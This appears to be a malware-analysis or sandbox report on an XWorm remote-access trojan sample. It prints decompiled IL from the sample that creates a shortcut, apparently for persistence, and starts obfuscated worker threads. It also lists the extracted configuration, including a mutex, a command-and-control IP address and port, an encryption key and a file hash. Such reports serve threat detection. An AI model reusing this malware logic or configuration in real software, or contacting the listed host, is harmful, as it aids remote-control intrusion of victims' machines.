<null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_12 ldloc.s V_7 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.QJp5FQtOFL8AYszeKxVO::cn3oovgwl6rMUkFAEHhD leave.s IL_0260: call System.Void Stub.QJp5FQtOFL8AYszeKxVO::OZvXgjb8tOs4iBL2pe18() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0260: call System.Void Stub.QJp5FQtOFL8AYszeKxVO::OZvXgjb8tOs4iBL2pe18() call System.Void Stub.QJp5FQtOFL8AYszeKxVO::OZvXgjb8tOs4iBL2pe18() ldnull <null> ldftn System.Void Stub.wzqamnVR6DtUfp7DC3uI7xamvkshLVB7LLq6Hfw2RW9vtrAcHg126gliCMxS5bUX0lhUrpkupbzn5n::tiFDO5HBJDoquomGqdiVScn8vMCBb8uvERsY0KXQyF7gpNQa7f0dOh65bnTdFJMMinFr3lvLSSMQxd() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.wzqamnVR6DtUfp7DC3uI7xamvkshLVB7LLq6Hfw2RW9vtrAcHg126gliCMxS5bUX0lhUrpkupbzn5n::6sEJ8boW4jgHoGeFDTV6f9fS5TZTFVC3kvm2BMl6wswY12fSbhYeenHdVE5m52rhjKiCMfat9MToL7() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
|
Name0 | Value |
|---|---|
| Mutex | juKdtuoqKwGHWtvx |
| CnC | 158.94.209.44 |
| Port | 6991 |
|
Config. Field0 | Value |
|---|---|
| Mutex | juKdtuoqKwGHWtvx |
| Hosts | 158.94.209.44 |
| Port | 6991 |
| KEY | <666666> |
| USBNM | <XWormmm> |
| family | xworm |
|
Name0 | Value | Location |
|---|---|---|
| Mutex | juKdtuoqKwGHWtvx Malicious |
567a87fbefde837e22ea571f862dea70 |
| CnC | 158.94.209.44 Malicious |
567a87fbefde837e22ea571f862dea70 |
| Port | 6991 Malicious |
567a87fbefde837e22ea571f862dea70 |